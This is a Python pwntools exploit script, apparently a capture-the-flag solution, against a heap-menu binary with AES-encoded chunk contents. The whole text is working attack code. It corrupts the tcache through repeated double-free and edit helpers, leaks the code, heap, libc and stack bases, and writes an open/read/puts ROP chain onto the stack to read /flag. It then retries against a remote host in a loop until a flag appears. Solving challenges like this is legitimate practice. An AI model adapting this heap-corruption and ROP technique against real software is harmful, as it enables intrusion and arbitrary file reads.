1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283
|
from pwn import * from Crypto.Cipher import AES from ctypes import * warnings.filterwarnings("ignore", category=BytesWarning)
context(arch='amd64', os='linux') context.terminal = ['tmux','splitw','-h']
file = b'' + b'./heap' elf = ELF(file) libc = ELF('./libc.so.6')
s = lambda x: p.send(x) sa = lambda x,y: p.sendafter(x,y) sl = lambda x: p.sendline(x) sla = lambda x,y: p.sendlineafter(x,y)
ru = lambda x : p.recvuntil(x) rl = lambda : p.recvline() lg = lambda x,y: log.success(x + str(hex(y))) itr = lambda : p.interactive() end = lambda : p.close() a = lambda : gdb.attach(p)
global script script = ''' # dir /source/glibc-2.31/malloc # b unlink_chunk b *$rebase(0x1AA4) b *$rebase(0x1A30) '''
''' b *$rebase(0x16CA) b *$rebase(0x16E2) b *$rebase(0x170F) '''
def start(local = True): global p if local: p = process(file) else: p = remote("172.25.14.16",9999) return p
def debug(DEBUG=True): if DEBUG is True: gdb.attach(p,gdbscript=script) else: gdb.attach(p)
def data_decode(payload): key = b'a'*0x8 key = key.ljust(0x10,b'\x00') aes = AES.new(key,AES.MODE_ECB) return aes.decrypt(payload)
def data_encode(payload): key = b'a'*0x8 key = key.ljust(0x10,b'\x00') aes = AES.new(key,AES.MODE_ECB) return aes.encrypt(payload)
def cmd(a): sla(b'>> ',str(a).encode())
def add(idx,data=b'\x00'): cmd(1) sla(b'idx: ',str(idx).encode()) sa(b'content: ',data)
def free(idx): cmd(2) sla(b'idx: ',str(idx).encode())
def show(idx): cmd(3) sla(b'idx: ',str(idx).encode())
def edit(idx,data=b'\x00'): cmd(4) sla(b'idx: ',str(idx).encode()) sa(b'content: ',data)
def DF(offset,data=b'\x00'): pl = b'a' * 0x10 add(0,pl) add(1,pl) free(0) free(1) pl = offset edit(1,pl) add(0,pl) add(1,pl) edit(1,data)
def attack(): add(0,b'a'*0x10) show(0) code_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - 0x1bf0 lg('code base: ',code_base) free(0)
DF(p16(0x92a0),b'a'*0x8)
pl = b'a' * 0x30 DF(p16(0x9030),pl) DF(p16(0x9060),pl)
pl = data_decode(b'a'*0x30) add(0,pl) add(1,pl) free(0) free(1) show(1)
data = p.recv(0x30) data = data_encode(data) heap_base = u64(data[0:8]) - 0x440 lg('heap ',heap_base)
add(3,pl) add(2,pl) add(4,pl) add(5,pl) add(6,pl) add(7,pl) add(8,pl) add(9,pl) pl = b'/flag' add(0xa,pl) pl = data_decode(b'a'*0x30) for i in range(0x10): add(0xb,pl)
pl = p64(0x430) + p64(0x431) pl += p64(0x430) + p64(0x431) pl += p64(0x430) + p64(0x431) pl = data_decode(pl) DF(p64(heap_base+0x430),pl) DF(p64(heap_base+0x430+0x430),pl) DF(p64(heap_base+0x430+0x430+0x430),pl)
free(2) show(2) data = p.recv(0x30) data = data_encode(data) libc_base = u64(data[0:8]) - 96 - 0x1ecb80 lg('libc base: ',libc_base)
pl = p64(0x30) + p64(0x500) pl = pl.ljust(0x30,b'\x00') pl = data_decode(pl) DF(p64(heap_base+0x470),pl)
target = code_base + 0x4090 pl = p64(0) + p64(0x31) pl += p64(target) + p64(target+0x8) pl = pl.ljust(0x30,b'\x00') pl = data_decode(pl) edit(2,pl)
pl = b'a' * 0x10 add(0,pl) add(1,pl) free(0) free(1) pl = p64(heap_base+0x440)
edit(1,pl) add(0,pl) pl = p64(0) + p64(0x31) pl = data_decode(pl) add(5,pl)
pl = p64(code_base) free(3) environ = libc_base + libc.sym['__environ']
pl = p64(environ)
edit(5,pl)
show(2)
data = p.recv(0x30) data = data_encode(data) stack = u64(data[0:8]) lg('stack : ',stack)
offset = 0x7fffffffe658 - 0x7fffffffe528 target_stack = stack - offset xor_rax = libc_base + 0x00000000000b1d69 pop_rdi = libc_base + 0x0000000000023b6a pop_rsi = libc_base + 0x000000000002601f pop_rdx_r12 = libc_base + 0x0000000000119431 ret = libc_base + 0x0000000000022679 syscall = libc_base + 0x000000000002284d read_f = libc_base + libc.sym['read'] open_f = libc_base + 0x10df00 sendfile = libc_base + 0x1131c0 puts_f = libc_base + 0x84420
filename = heap_base + 0x640 flag_addr = heap_base + 0xbb0 rop = p64(pop_rdi) + p64(filename) + \ p64(pop_rsi) + p64(0) + p64(open_f) + \ p64(pop_rdi) + p64(3) + \ p64(pop_rsi) + p64(flag_addr) + \ p64(pop_rdx_r12) + p64(0x100) * 2 +p64(read_f) + \ p64(pop_rdi) + p64(flag_addr) + \ p64(puts_f)
for i in range(3): pl = p64(target_stack + 0x60 - i * 0x30) edit(5,pl) if i == 0: pl = rop[0x60:0x90] elif i == 1: pl = rop[0x30:0x60] elif i == 2: pl = rop[0:0x30] pl = data_decode(pl) edit(2,pl)
def check(data): data = data.decode() pattern = r"flag\{.*?\}" match = re.search(pattern, data) if match == None: return None else: return match.group(0)
while True: try: start() attack() time.sleep(0.05) data = p.recvall(timeout=0.5) flag = check(data) if flag == None: print("[x] not found flag") end() else: print(flag) itr() except: end() time.sleep(0.5)
|